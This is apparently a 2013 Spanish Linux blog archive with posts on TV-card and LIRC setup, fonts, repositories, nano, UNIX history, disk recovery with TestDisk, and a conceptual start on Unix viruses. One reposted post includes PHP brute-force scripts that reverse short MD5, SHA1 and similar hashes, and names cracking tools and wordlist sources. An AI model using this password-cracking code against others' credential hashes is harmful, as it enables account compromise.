martes, 4 de junio de 2013

Configuracion del sonido y control remoto de Tv Kworld Pci Plus Tv Analog Lite PCI

Dados los problemas que he obtenido al configurar mi capturadora, he recopilado los pasos que he seguido para instalarla y configurarla. 

Como primer paso solucionaremos el problema de sonido.

Para realizar esto creamos un nuevo ejecutable de la siguiente manera.

sudo gedit /usr/bin/tvtime.sh

Luego le adicionamos (guardamos y cerramos):

#!/bin/sh
tvtime | arecord -D hw:1,0 -r 32000 -c 2 -f S16_LE | aplay -
mpid=$!
kill $mpid


Luego procedemos a asignarle algunos permisos para que no ponga problema en la ejecución:

sudo chmod +x /usr/bin/tvtime.sh

Por ultimo modificamos con el Editor del Menu Principal (Sistema -> Preferencias -> Menu Principal) el menú de TVTime (Aplicaciones -> Sonido y Video -> TVTime Television Viewer).

Click con el botón secundario una vez lo localicen y luego elijen la opción propiedades.
Proceden a reemplazar en el campo "comando" tvtime por /usr/bin/tvtime.sh

Para controlar el volumen desde tvtime:

sudo gedit /etc/tvtime/tvtime.xml

Luego buscamos el texto:

 option name=”MixerDevice” value=”/dev/mixer:line“/> 

Y lo reemplazamos por:

  option name=”MixerDevice” value=”/dev/mixer:vol“/>


Instalación de lirc

Antes que nada recomiendo reiniciar la pc debido a que el número de evento del control remoto se define luego de ésto, es decir, antes de reiniciar puede ser event8 y luego event6 (el cual será el número de evento definitivo).

Una vez reiniciado el equipo ejecutamos:

cat /proc/bus/input/devices

para saber el tipo de evento que utiliza el infrarojo, por lo tanto vamos a ver algo como esto:


Podemos observar que utiliza el evento 6, ahora podemos instalar lirc, entonces tenemos que ejecutar:

sudo aptitude install lirc 

Automaticamente se ejecutará el asistente para configurar lirc.
Seleccionamos “Linux input layer (/dev/input/eventX), para el transmisor elegimos “none” y luego nos pedirá seleccionar el evento, entonces buscamos el mismo que habiamos obtenido con el comando cat, en este caso el event6.
para reconfigurar LIRC podemos ejecutar (sudo dpkg-reconfigure lirc)

ahora ejecutamos:

sudo apt-get install lirc-modules-source module-assistant

Despues de instalar Lirc haremos un backup de su archivo de configracion de la siguiente manera.

sudo cp /etc/lirc/lircd.conf /etc/lirc/lircd.conf.bak

Luego de instalar y configurar lirc, falta el reconocimiento de botones, ejecutamos:

sudo irrecord -H dev/input -d /dev/input/event6 /tmp/lircd.conf

(IMPORTANTE: Les recuerdo reemplazar event6 por el número que tengan ustedes)

Lo primero que nos va a pedir es que presionemos Enter y luego cualquier botón del control remoto. Yo recomiendo presionar todos los botones para saber si en realidad está reconociendo el control remoto en su totalidad, porque puede suceder que solo reconozca algunos botones y nada mas, (para solucionar este problema con los botones del control hay que modificar el valor del parámetro card cuando ejecutamos modprobe y en el archivo options, por ejemplo, en lugar de card=63, puedo poner card=59, ya que ambos números corresponden a la placa kworld).
Otra cosa mas, para grabar los botones, vamos a tener que ponerles nombres especiales, debido a que no se permite cualquier nombre, por ejemplo, en lugar de “power” debemos escribir “KEY_POWER” (de todos modos en la definición del archivo .lircrc que detallo mas abajo, están prácticamente todas las teclas útiles).

Una vez que terminemos de grabar todos los botones, solo hay que presionar la tecla Enter, luego Enter nuevamente.
Este proceso nos indicará que se pudieron grabar exitosamente las acciones del control remoto dentro del evento que hayamos elegido, para nuestro ejemplo, event6.

(si hubiera problemas con el reconocimiento de botones, podemos parar el demonio lirc ejecutando /etc/init.d/lirc stop)

ahora reemplazamos el archivo lircd.conf con el archivo que generamos nosotros.

sudo cp /tmp/lircd.conf /etc/lirc/lircd.conf

Creamos un archivo con la configuración para manejar tvtime, totem y otros programas.

sudo gedit /home/usuario/.lircrc

(IMPORTANTE: Reemplazar usuario por el usuario que tengan ustedes)

en el cual pegamos:

begin irexec

begin
prog = irexec
button = KEY_A
# Start TVtime
config = tvtime.sh &
end

begin
prog = irexec
button = KEY_K
config = tvt –window &
config = tvtime-command QUIT
repeat = 2
end

begin
prog = irexec
button = KEY_CHANNELUP
config = tvtime-command CHANNEL_UP
end

begin
prog = irexec
button = KEY_CHANNELDOWN
config = tvtime-command CHANNEL_DOWN
end

begin
prog = irexec
button = KEY_VOLUMEUP
repeat = 3
config = tvtime-command MIXER_UP 5
end

begin
prog = irexec
button = KEY_VOLUMEDOWN
repeat = 3
config = tvtime-command MIXER_DOWN 5
end

begin
prog = irexec
button = KEY_0
config = tvtime-command CHANNEL_0
end

begin
prog = irexec
button = KEY_1
config = tvtime-command CHANNEL_1
end

begin
prog = irexec
button = KEY_2
config = tvtime-command CHANNEL_2
end

begin
prog = irexec
button = KEY_3
config = tvtime-command CHANNEL_3
end

begin
prog = irexec
button = KEY_4
config = tvtime-command CHANNEL_4
end

begin
prog = irexec
button = KEY_5
config = tvtime-command CHANNEL_5
end

begin
prog = irexec
button = KEY_6
config = tvtime-command CHANNEL_6
end

begin
prog = irexec
button = KEY_7
config = tvtime-command CHANNEL_7
end

begin
prog = irexec
button = KEY_8
config = tvtime-command CHANNEL_8
end

begin
prog = irexec
button = KEY_9
config = tvtime-command CHANNEL_9
end

begin
prog = irexec
button = KEY_INSERT
config = tvtime-command CHANNEL_JUMP
end

begin
prog = irexec
button = KEY_MUTE
config = tvtime-command TOGGLE_MUTE
end

begin
prog = irexec
button = KEY_SCREEN
config = tvtime-command TOGGLE_FULLSCREEN
end

begin
prog = irexec
button = KEY_R
config = tvtime-command TOGGLE_ASPECT
end

end irexec


ahora lo ultimo:

sudo /etc/init.d/lirc restart irexec -d /home/usuario/.lircrc

(IMPORTANTE: Reemplazar “usuario” por el usuario de ustedes).
Abrimos tvtime y el control tendría que funcionar correctamente.

Para que se ejecute automáticamente el comando irexec cada vez que inicia la pc vamos a hacer lo siguiente:
Abrimos Sistema – Preferencias – Aplicaciones al inicio
Clickeamos en Añadir, en “Nombre” ponemos irexec, en “Orden” 

irexec -d /home/usuario/.lircrc 

(Recordar reemplazar usuario por el usuario de ustedes) hacemos click en Añadir para guardar, por último cerramos la ventana de aplicaciones al inicio.
(Recordar reemplazar usuario por el usuario de ustedes).

jueves, 30 de mayo de 2013

Cómo instalar fuentes Truetype en Debian Wheezy

La manera mas practica de instalar las fuentes truetype en Debian Wheezy es  ejecutando el  siguiente comando como root:

 apt-get install msttcorefonts

Si no nos encuentra el paquete deberemos ejecutar la siguiente linea y añadir la línea roja al archivo
 nano /etc/apt/sources.list
deb http://http.us.debian.org/debian stable main contrib non-free
Luego ejecutamos el siguiente comando:
 apt-get update && apt-get install msttcorefonts
Con eso estarían instaladas las fuentes. Como veis son unos pasos muy sencillos

lunes, 27 de mayo de 2013

Hash: Cómo identificarlos y crackearlos

¿Qué es un hash?

En el mundo de la informática, hash es un término bastante usado y aunque ni lo te lo imagines hace parte de una gran cantidad de cosas que usas, por ejemplo es común observar que en muchas de las paginas antes de descargar un programa u archivo nos muestren la siguiente información:
File: Nombredelprograma.pdf
md5: 085f4e1cf27dcc1be119d713077bd28
La primera línea es de nuestro entendimiento sencillamente es el nombre del archivo, pero probablemente no comprendas para que se presenta la segunda línea, el objetivo es que las personas puedan descargar el programa y por medio de alguna herramienta (como MD5 context menu en Windows o md5sum en Linux) puedan generar su MD5 (hash) y si el programa descargado no ha sido modificado el MD5 debe ser idéntico al presentado por la página, pero si cambia esto se debe a que posiblemente el software fue manipulado con alguna intención que no siempre es buena o simplemente fue mal descargado. Por tomar otro ejemplo, en los sitios donde estás registrado encriptan datos sensibles como por ejemplo la contraseña, el resultado de esto es un hash, de esta manera si alguien accede a los datos a simple vista no podría saber tu contraseña. En terminos más tecnicos un hash es:
Se refiere a una función o método para generar claves o llaves que representen de manera casi unívoca a un documento, registro, archivo, etc. (Wikipedia).

¿Cómo identificar un hash?

Existe una gran cantidad de tipos de hash, algunos más usados que otros y por esa misma razón a veces uno se encuentra con el problema de querer identificar el tipo de un hash en específico. Para esto debemos tener a la mano es un serie de tools o herramientas que nos brinde una amplia gama de hash existentes y podamos ver la estructura de un hash pasado por esos algoritmos y luego de eso comparar los resultados con nuestro hash para ver cual se le asemeja más, no es una tarea muy sencilla ya que el resultado de algunos algoritmos es muy parecido. Para identificar hash existen dos sitios interesantes: Hash Generator y Generador Hash V3.0.
Como pueden observar cada una de estas paginas nos brinda la posibilidad de observar un hash generado con cada uno de los algorimos. Si queremos diseñar nuestra propia herramienta es muy sencillo, solo es apropiarnos de una buena funcion o libreria que manipule hash o programar los algoritmos que consideramos necesarios, para un ejemplo les esta la librería mas común en PHP para esta labor, hash_algos. Manos al código:
<?php
/* Comprobar Hash
   www.RedInfoCol.org - Monje
*/
//$hash = "cf2db5ec261a0fa27a502d319xxxxxxxxx";

/*
ipb,md5,md5(md5),ntlm.Radminv2,md4,ripemd128, tiger128,3 , tiger128,4 , haval128,3 , haval128,4 , haval128,5
*/
for($k=65;$k<=122;$k++){
for($j=65;$j<=122;$j++){
for($l=65;$l<=122;$l++){
for($m=65;$m<=122;$m++){
$token = chr($k).chr($j).chr($l).chr($m);
$md5 = hash('md5',$token);
$md52 = hash('md5',$md5);
$md4 = hash('md4',$token);
$ripemd128 = hash('ripemd128',$token);
$tiger1283 = hash('tiger128,3',$token);
$tiger1284 = hash('tiger128,4',$token);
$haval1283 = hash('haval128,3',$token);
$haval1284 = hash('haval128,4',$token);
$haval1285 = hash('haval128,5',$token);

if($md5 == $hash ||
$md52 == $hash ||
$md4 == $hash ||
$ripemd128 == $hash ||
$tiger1283 == $hash ||
$tiger1284 == $hash ||
$haval1283 == $hash ||
$haval1284 == $hash ||
$haval1285 == $hash ){
echo $md52." -> ".$token.chr(10);
echo $md4." -> ".$token.chr(10);
echo $ripemd128." -> ".$token.chr(10);
echo $tiger1283." -> ".$token.chr(10);
echo $tiger1284." -> ".$token.chr(10);
echo $haval1283." -> ".$token.chr(10);
echo $haval1284." -> ".$token.chr(10);
echo $haval1285." -> ".$token.chr(10);
exit;
}
}
}
}
}
?>
Si se pueden dar cuenta es tan sencillo como llamar la función hash(‘nombre del hash’, cadena) y listo ya tendríamos nuestra propia herramienta encargada de generar hash con varios algoritmos para identificar características de estos. Ahora los datos más relevantes para identificar un hash son:
  1. Longitud.
  2. Set de caracteres.
  3. Patrones en sus sintaxis.

¿Cómo crackear un hash?

Un hash en si no puede regresar a texto plano ya que los algoritmos para generar estos están diseñados para esa tarea, en ese caso lo que se hace es el proceso que se conoce como crackear un hash por fuerza bruta. El procedimiento consiste en generar varias palabras con una determinada longitud en base a un charset que básicamente es un conjunto de caracteres normalmente compuesto por el abecedario en mayúsculas, minúsculas, números y signos, posteriormente las palabras generadas aleatoriamente son encriptadas resultando así un hash, este hash resultante es comparado con el hash que se quiere crackear. El proceso es demorado, depende del tamaño del charset y de la longitud, las posibilidades pueden ser millones.
Otra forma de hacerlo es con un ataque por diccionario, se trata de conseguir un archivo con varias palabras ya generadas y estas son igualmente son encriptadas y comparadas, es mucho más rápido que la técnica anterior pero su efectividad depende del diccionario; existen sitios como packetstormsecurity.org con una gran variedad de wordlists para ser usados.
Rainbow tables es otra técnica mucho más veloz que las anteriores, consiste en tener hashes ya pre-calculados, lo único que se hace es comparar estos con el hash a crackear, existen sitios como este donde se pueden descargar las tablas.
Existe una gran variedad de programas para realizar ataques por fuerza bruta, pero los más completos en mi concepto son Cain & Abel (Windows) y John the Ripper (multiplataforma). Los anteriores programas crackean una gran cantidad de hashes pero hay casos en los que no tienen soporte para determinado tipo de hash, el siguiente script es un concepto para ser usado con un ataque por fuerza bruta, donde hash se reemplaza por la función especifica del hash:
<?php
/* Crackear Hash con PHP
   www.RedInfoCol.org - Monje
*/
$original = "ff4dc518fb3d5d20a81fd1c6faff577641edf4b9";
for($i=21;$i<=126;$i++){
for($j=21;$j<=126;$j++){
for($k=21;$k<=126;$k++){
$salida = hash('sha1',chr($i).chr($j).chr($k));
if($original==$salida){
echo chr($i).chr($j).chr($k);
}
}
}
}
?>
Tomado de: http://www.redinfocol.org/hash-como-identificarlos-y-crackearlos/

TestDisk, Recuperando información en Linux

Anoche hice algo de eso que te arrepientes por mucho tiempo, tomé un disco de la mesa y “mentalmente” seguro era el correcto lo puse en el portátil y reinicié, salí a tomarme un café para encontrarme con que tomé el disco de recuperación de la portátil (ni idea de por qué estaba allí sobre la mesa), borrando todo y apareciendo un gracioso logo de Windows Vista donde antes había Linux Debian.

¿Horror?, si, hubo mucho pavor en ese momento (era mi instalación Linux de trabajo), así que me tocó echar mano de las herramientas de recuperación para poder ganarle una al Windows.



Estado Inicial


Luego de la instalación automática y desasistida del equipo, terminé con dos particiones NTFS que ocupaban la totalidad del disco, como la primera había ocupado más de 10Gb, asumí que los datos de las primeras particiones (/boot, /root) estaría sumamente corrompidos, pero me preocupaba /HOME, que estaba en un volumen LVM, así tomé mis herramientas:

gpart
testdisk
lvm-tools


Y manos a la obra!.

Inicio: obteniendo información de las particiones perdidas


Lo más importante, es saber toda la información de las particiones perdidas, entre esa información hay una muy importante, TESTDISK requiere saber con exactitud la geometría correcta del disco; sino, se las verá muy mal a la hora de recuperar el disco.

Para esta información viene al rescate gpart (que no gparted, gpart!).

cuando ejecutamos:



gpart /dev/sdb


Donde /dev/sdb es el disco duro que deseamos escanear, este devolverá información acerca de todas las particiones presentes en el disco.

Primary partition(1)
type: 131(0x83)(Linux ext2 filesystem)
size: 507mb #s(1038976) s(144224640-145263615)
chs: (1023/254/63)-(1023/254/63)d (8977/145/1)-(9042/61/43)r



Como ven, el disco fué formateado con una geometría de 254 heads (cabezales) y 63 sectores (números resaltados), anoten esto para utilizarlo con parted (modo rescue) o en mi caso, testdisk.

Segunda parte: ejecutando testdisk


Lo segundo que deben hacer es ejecutar testdisk, si no lo tienen pueden instalarlo (se llama: testdisk y está en los repositorios de Debian, Ubuntu y Fedora).

al ejecutar testdisk aparece esta ventana:



Nos pregunta si deseamos crear un log (llamado testdisk.log) de todas nuestras actividades, por seguridad, indiquen que sí.

De segundo, nos mostrará los discos a revisar, en mi caso:

Select a media (use Arrow keys, then press Enter):
Disk /dev/sda - 160 GB / 149 GiB - ATA SAMSUNG HM160HI
Disk /dev/sdb - 160 GB / 149 GiB - Generic External



Ya que el disco de 160Gb es un ATA Seagate que lo conecté por USB storage.

Seleccionamos el disco (flecha abajo), presionamos la tecla ENTER

Luego pregunta el tipo de partición:

Please select the partition table type, press Enter when done.
[Intel ] Intel/PC partition
[EFI GPT] EFI GPT partition map (Mac i386, some x86_64…)
[Mac ] Apple partition map
[None ] Non partitioned media
[Sun ] Sun Solaris partition
[XBox ] XBox partition
[Return ] Return to disk selection


Escojan “Intel” (no usé GPT en este disco).

En las opciones que salen, es donde vienen los cambios, escojan “[Geometry]“.

Luego, verán una pantalla como esta:



Acá es donde en [ Heads ] colocaremos los valores que recuperamos con gpart (en mi caso: Heads: 254 y Sectors: 63).

Presionen [OK] al terminar y ahora vamos al escaneo.

Presionen “Analyze”, luego de analizar (Quick Scan) ejecuten un “Deeper Scan” para revisar toda la superficie del disco.

Al terminar verán que encontró nuestra partición:

5 L Linux LVM 1862 42 31 19291 137 19 278904832

Presionen flecha derecha para cambiar los modos:

Modo “*” = Primaria, boot

Modo “P” = partición primaria

Modo “D” = partición borrada (útil si consigue una partición nueva que solapa una vieja)

Modo “L” = partición lógica

En algunos casos, testdisk no puede entender que es un Linux LVM, para ello podemos presionar la letra T (Change Type) y escogen el modo Linux LVM.

Nota mental: una partición linux clásica tiene un modo 0×83.

Esta partición que iba a recuperar era un grupo de volúmenes LVM, era lógica, verifico los datos con gpart (heads, sectors, sector de inicio y sector final, tamaño, etc).

Si todos los datos concuerdan, presiono ENTER y luego escojo “[ WRITE ]” para escribir los cambios al disco, deberán reiniciar (si es un disco atachado al computador) o desconectarlo (si es un USB storage) para que reconozca los cambios.

ya respiramos un poco más aliviados, ahora a recuperar el grupo de volúmenes.

Paso 3: Recuperar el grupo de volúmenes


Obviamente para este paso tu computador debe reconocer grupos de volúmenes (tener instalado el paquete lvm2), al volver a conectar el disco duro, ejecutamos el comando:

pvscan

Este buscará todos los grupos de volúmenes en todos los discos, encontrando este:

pvscan

PV /dev/sdb5 VG VgCANTV lvm2 [132,99 GiB / 57,96 GiB free]
Total: 1 [132,99 GiB] / in use: 1 [132,99 GiB] / in no VG: 0 [0 ]



Entonces lo chequeamos (para verificar consistencia):

pvck -a /dev/sdb5

Found label on /dev/sdb5, sector 1, type=LVM2 001
Found text metadata area: offset=4096, size=192512



Lo vemos con pvdisplay:

pvdisplay
--- Physical volume ---
PV Name /dev/sdb5
VG Name VgCANTV
PV Size 132,99 GiB / not usable 4,00 MiB
Allocatable yes
PE Size 4,00 MiB
Total PE 34045
Free PE 14837
Allocated PE 19208
PV UUID A3m31N-wy5p-0zMl-0T3q-Nx45-jQR3-1Rjc4Q



Y lo activamos:

vgchange -a y VgCANTV
49 logical volume(s) in volume group "VgCANTV" now active


Wow! 49 volúmenes (es donde tengo mis VMs de Xen de mi trabajo).

Luego de activado el volumen, vgdisplay nos retornará información:
vgdisplay
--- Volume group ---
VG Name VgCANTV
System ID 
Format lvm2
Metadata Areas 1
Metadata Sequence No 83
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 49
Open LV 1
Max PV 0
Cur PV 1
Act PV 1
VG Size 132,99 GiB
PE Size 4,00 MiB
Total PE 34045
Alloc PE / Size 19208 / 75,03 GiB
Free PE / Size 14837 / 57,96 GiB
VG UUID PhZqJE-44xs-F0tP-XAXr-s2jZ-LlON-5LBL0t



Al tener su propio UUID el grupo de volúmenes (y sus particiones) ya pueden ser accedidas de manera usual.

Paso 4: montando y chequeando


Uno de los peligros de usar XFS es la corrupción de los descriptores, en mi caso no hubo problemas, antes de montar ejecutamos:
xfs_check /dev/mapper/VgCANTV-volHOME


Y chequeará cualquier detalle del Filesystem, en caso de necesitar reparación, ejecutamos:
xfs_repair /dev/mapper/VgCANTV-volHOME


Si acaso hubo una pérdida de los logs de descriptores, pueden hacer que repare el sistema haciendo caso omiso de los logs y buscando los descriptores directamente del FS:
xfs_repair -L /dev/mapper/VgCANTV-volHOME


Por seguridad, le generamos un nuevo UUID a la partición XFS:
xfs_admin -U generate /dev/mapper/VgCANTV-volHOME


Y por último ya podemos montarla:
mount -t xfs /dev/mapper/VgCANTV-volHOME /media/respaldo/home


Respaldamos nuestros datos y ¡listo!, ya nos recuperamos!.

Lo bueno de herramientas como Testdisk o Gpart es que vienen incluídas en varias distribuciones LiveCD para recuperación de datos, como por ejemplo SystemRescueCD. Por desgracia no contaba ni con unidad de CD ni con mi SystemRescueUSB, pero testdisk y gpart son herramientas bastante pequeñas y se instalan en cualquier linux muy rápidamente.


Tomado de: http://www.taringa.net/posts/linux/13711668/Formateos-accidentales-en-discos-como-recuperarse.html

jueves, 23 de mayo de 2013

Repositorios Debian Wheezy Estable



Seguramente iré actualizando esta publicación para que sea lo más completa posible, así que si querés colaborar sos bienvenido.
Recordá que para modificar los repositorios hay que actualizar el archivo sources.list

# nano /etc/apt/sources.list

# Repositorio oficial
deb http://ftp.us.debian.org/debian/ wheezy main contrib
deb-src http://ftp.us.debian.org/debian/ wheezy main contrib

# Actualizaciones de seguridad
deb http://security.debian.org/ wheezy/updates main contrib
deb-src http://security.debian.org/ wheezy/updates main contrib

# Multimedia wheezy
deb http://www.deb-multimedia.org wheezy main non-free
deb-src http://www.deb-multimedia.org/ wheezy main non-free

#Actualizaciones de wheezy
deb http://ftp.debian.org/debian wheezy-updates main contrib non-free
deb-src http://ftp.debian.org/debian wheezy-updates main contrib non-free

# Backports
deb http://ftp.debian.org/debian/ wheezy-backports main

# Repositorio VirtualBox Debian Wheezy
deb http://download.virtualbox.org/virtualbox/debian wheezy contrib non-free

# Instalación de Google Chrome
deb http://dl.google.com/linux/deb/ stable main

# Mate (gnome 2)
deb http://repo.mate-desktop.org/debian wheezy main
-
Seguramente cuando instalemos los repositorios multimedia nos dará un error se soluciona haciendo lo siguiente:


# apt-get install deb-multimedia-keyring
# apt-get upgrade

Seria recomendable comentar las siguientes lineas en el archivo sources.list para no tener problemas al actualizar los repositorios.

#deb cdrom:[Debian GNU/Linux 7.0.0 _Wheezy_ - Official i386 CD Binary-1 201305$

#deb cdrom:[Debian GNU/Linux 7.0.0 _Wheezy_ - Official i386 CD Binary-1 2013050$


martes, 14 de mayo de 2013

Introducción al editor de texto nano

Nano es el un sencillo editor de textos para el terminal que viene instalado por defecto en Ubuntu. No es tan potente como Vim o Emacs pero es mucho más fácil de manejar que estos. Así cualquier usuario por poco experimentado que sea es capaz de empezar a usar Nano desde el primer momento gracias a las dos líneas de ayuda que mantiene en su parte inferior.

Al ser un editor en modo texto, se suele usar sobretodo en entornos sin interfaz gráfica como Ubuntu Server, pero eso no impide que lo utilicemos en Ubuntu Desktop o en otra distribucion GNU/Linux.

Para editar un archivo con Nano tenemos que ejecutar el siguiente comando:

nano ruta/nombre_archivo

donde nombre_archivo será el nombre del archivo que queramos editar. En caso de que el archivo no existiera, se creará un archivo vacío con ese nombre.

Vamos a editar el archivo .bash_history, que contiene los comandos que hemos ido escribiendo en el terminal, para ver un ejemplo concreto:

nano bash_history

Nos aparecerá entonces el contenido del archivo para que podamos modificarlo con el editor. Si lo modificamos (no te preocupes que en este archivo no pasa nada si lo cambias), veremos en la parte superior derecha el texto Modificado. Para guardar los cambios, pulsaremos la combinación de teclas Control+o. Y para salir, Control+x.


Editamos un archivo con nano
Damos por hecho que si necesitamos permisos de administración para editar un archivo, tendríamos que escribir sudo antes del comando. Por ejemplo:

sudo nano /etc/network/interfaces

Nano está pensado para ser usado con el teclado, no con el ratón, por lo que tiene asociadas multitud de acciones a combinaciones de teclas. En la siguiente tabla podemos ver algunas de las más importantes:

Tecla Función

Control+g o F1 Muestra la ayuda
Control+x o F2 Salir sin guardar
Control+o o F3 Guarda el archivo actual
Control+w o F6 Busca una cadena de texto o expresión regular
Control+k o F9 Corta la línea actual
Control+u o F10 Pega la línea cortada
Alt+m Activa o desactiva el soporte para el ratón
Alt+r Busca una cadena y la reemplaza por otra
Alt+s Activa o desactiva el desplazamiento suave

Sin embargo, si quieres exprimir al máximo las posibilidades de este editor, sería recomendable leer la ayuda que trae. Para ello pulsamos en cualquier momento F1 o la combinación de teclas Control+g (como se indica en la tabla anterior).

Qué es UNIX.


Esctrictamente, UNIX designa el núcleo de un sistema operativo multiusuario y multitarea. En un sentido más amplio, comprende el núcleo del sistema operativo, más un conjunto de programas que permiten compilar lenguajes de programación, editar texto, interpretar comandos, manejar archivos y discos, acceder a otras máquinas, establecer comunicaciones telefónicas, enviar y recibir correo electrónico, manejar las colas de impresión y un sinfín de tareas más. Algunos de estos programas pueden haber sido desarrollados por los propios usuarios.
UNIX designa al mismo tiempo un cierto "ambiente de trabajo", un conjunto de circunstancias que encuentra el usuario de la computadora donde corre UNIX, tales como la presentación en pantalla, los programas disponibles y la forma de trabajo que impone o permite.
Cuando hablemos de UNIX nos estaremos refiriendo al sentido amplio y, conjuntamente, a su ambiente de trabajo.

Características:

  • muchas herramientas de software (compiladores, editores, utilitarios para muchas tareas).
  • reutiliza el software, a través de la combinación de comandos simples en aplicaciones complejas.
  • portable: el mismo sistema operativo corre en un espectro de máquinas que van desde notebooks a supercomputadoras. Es el único sistema operativo con estas características.
  • flexible: se adapta a muchas aplicaciones diferentes.
  • potente: dispone de muchos comandos y servicios ya incorporados.
  • multiusuario: atiende a muchas personas simultáneamente.
  • multitarea: hace muchas cosas a la vez.
  • elegante: sus comandos son breves, coherentes, específicos para cada tarea y muy eficientes.
  • orientado a redes desde el comienzo.
  • dispone de un estándar (POSIX) que debe cumplir todo sistema operativo que pretenda ser UNIX, lo que asegura una evolución predecible.

Historia de UNIX

Antecedentes:

  • las computadoras ejecutan un trabajo por vez (años '40 y '50).
  • los trabajos se agrupan y ejecutan "por lotes" (años '60).
  • CTSS, un sistema operativo de propósito general y tiempo compartido, logra enorme éxito.
  • MULTICS, un ambicioso proyecto de sistema operativo para cientos de usuarios fracasa y no llega a terminarse.

UNIX.

  • Ken Thomson, desarrollador de MULTICS, con ideas y apoyo de algunos compañeros, escribe un nuevo MULTICS más modesto en una máquina PDP-7 desechada (1969). Brian Kernighan, compañero de Thomson, lo llama irónicamente UNICS.
  • UNIX pasa a una máquina PDP-11 (1970). Ritchie diseñó y escribió un compilador para lenguaje C.
  • Thomson y Ritchie reescriben UNIX en C, rompiendo la tradición de sistemas operativos escritos en lenguaje ensamblador (1973). Esto aumenta la portabilidad del sistema hacia otras máquinas.
  • Thomson y Ritchie reciben el premio Turing por un memorable artículo sobre UNIX escrito en 1974.
  • UNIX es adoptado en las universidades, por tratarse de un "sistema abierto" que proporciona todo el código fuente (1974).
  • BSD y System V; el estándar de POSIX.
  • El desmembramiento de AT&T (1984) permite a esta empresa ingresar en el mercado de computadoras, y produce la primera versión comercial de UNIX, el Sistema III, que pronto es sustituído por el Sistema V versiones 2, 3 y 4.
  • La Universidad de Berkeley produjo una versión mejorada para la PDP-11, llamada 1BSD; luego fueron la 3BSD y luego 4BSD, que incorporó el protocolo de redes TCP/IP.
  • El grupo POSIX estudió y propuso un estándar para UNIX, llamado 1003.1, que define un conjunto de procedimientos de biblioteca que cualquier sistema conforme con UNIX debe proporcionar. Esto resolvió la controversia entre Sistema V y BSD.
  • Se forma OSF, Open Software Foundation, integrada por IBM, DEC, HP y otros para enfrentar a AT&T. Crea un UNIX con más prestaciones que el estándar de POSIX.

Versiones actuales de UNIX.

  • AT&T, para enfrentar a OSF, crea UI, UNIX International, junto con otras empresas; crea otro UNIX ampliado de POSIX.
  • IBM crea su propia variante de UNIX, llamada AIX. La confusión de versiones continúa.
  • surgen las versiones UNIX de dominio público FreeBSD y Linux, que se distribuyen sin costo. Linux es desarrollado por una multitud de personas y equipos de trabajo a través de Internet. FreeBSD es desarrollado por un grupo de trabajo cerrado.
  • UNIX hacia el usuario final: distribuciones fáciles de instalar (SuSE, Redhat, Mandrake, Ubuntu), aplicaciones de escritorio (Applixware, LibreOffice), programas asistentes de administración para estaciones de trabajo o servidores.

Objetivos de UNIX.

UNIX fue diseñado teniendo en mente los siguientes objetivos:
  • crear un sistema interactivo de tiempo compartido diseñado por programadores y para programadores, destinado a usuarios calificados.
  • que fuera sencillo, elegante, escueto y consistente.
  • que permitiera resolver problemas complejos combinando un número reducido de comandos básicos.

Filosofía del sistema UNIX.

Los objetivos con que se creó determinaron una "filosofía" de UNIX caracterizada por:
  • comandos cortos, simples, específicos y muy eficientes, que "hacen una sola cosa pero la hacen muy bien".
  • entrada y salida estandarizadas que permiten la interconexión de comandos. Esto se llama entubamiento ("pipelining"): la salida de un comando es tomada por el siguiente como entrada.

El UNIX moderno.

Orientado en primera instancia a terminales de caracteres, actualmente dispone de la interface gráfica X-Windows. Esto ha simplificado mucho el uso para los no especialistas.Es ideal para trabajar como servidor: una máquina potente como servidor, terminales o computadores personales baratas en los puestos de trabajo.  El paquete de libre uso Samba permite que una máquina UNIX actúe como servidor de puestos de trabajo Windows 3.11, Windows 95, y Windows NT.
Se orienta en la dirección contraria a la tendencia de hacer invisible al usuario el sistema operativo, permitiendo el uso de todas las bibliotecas, llamadas al sistema y herramientas internas, aunque su uso requiere un alto nivel de especialización.  Es posible compilar un núcleo específicamente adaptado a las necesidades particulares de una empresa o grupo de trabajo, reduciendo el uso de recursos y aumentando la rapidez.
Las máquinas RISC de los '80 y '90 adoptaron UNIX como sistema operativo; es por lejos el sistema predominante en las estaciones de trabajo orientadas a cálculos e investigación. También fue adoptado para la creación de Internet, mayoritariamente soportada por UNIX.
Por sus características de diseño, está especialmente preparado para su ampliación y desarrollo en 64 bits y el multiprocesamiento en varias CPUs.

Referencias: Kernighan-Pike[1987], Coffin[1989], Tanenbaum[1992]

Tomado de: http://iie.fing.edu.uy/~vagonbar/unixbas/introd.htm#UNIX

sábado, 11 de mayo de 2013

Virus en Unix

La mayoría de los virus que conocemos son para DOS. Pero ¿que pasa con otros sistemas operativos como el UNIX?


A menudo, trato con sistemas en DOS que han sido atacados por virus informáticos. En estos casos es muy común escuchar frases del tipo "Vamos a migrar a plataforma Unix para que esto no vuelva a suceder" o "Si hubiéramos optado por el sistema operativo Unix esto no hubiera sucedido". Es común creer que no existen virus o troyanos en el Sistema Operativo Unix, pero ¿Cuánto hay de verdad en esta afirmación? Eso es lo que vamos a tratar de desentrañar en este artículo.

Introducción

Para quienes no conocen mucho del sistema operativo Unix, podemos introducirlos en el tema señalando que Unix se ha transformado en el sistema operativo estándar para ambientes multiusuarios y heterogéneos debido a su flexibilidad en comunicaciones, portabilidad a diferentes arquitecturas y capacidad de integración. Si bien el Unix nació hace unos unos 20 años con propósitos educacionales y de ingeniería, la demanda de las empresas de soluciones independientes de los proveedores propiciaron el advenimiento del Unix al área comercial y el auge de los "sistemas abiertos". El Unix se extendió sobre todo en empresas medianas que necesitaban sistemas multiusuarios y no tenían la posibilidad de adquirir un mainframe.

Estructura de los archivos Unix

Contrariamente a lo que comunmente se cree, la estructura de los programas ejecutables en los sistemas Unix los hacen susceptibles a ser atacados por virus informáticos. Los archivos ejecutables de Unix tienen tres secciones que los virus pueden atacar: el header (cabecera), el segmento de texto y el segmento de datos. De hecho los virus pueden "colarse" en Unix por su característica de requerir paginación.

El requerimiento de paginación se usa en la mayoría de los sistemas Unix, y es sencillamente el requerimiento que los programas ejecutables se ajusten a algún múltiplo del tamaño de la página, generalmente 1024 bytes. Para que un archivo sea múltiplo de 1024, se le agregan nulos al final del segmento de texto. Ese es el lugar donde un virus puede insertarse muy fácilmente. Además si un virus se copia en esta zona, el tamaño del archivo permanecerá inalterado.

Queda claro también que el espacio al que se deben limitar estos virus es muy pequeño, lo que requiere virus muy compactos.

Esta es tan solo una camino para crear virus en Unix, es probable que existan muchos más, vamos a ver otro.

Otra potencial amenaza

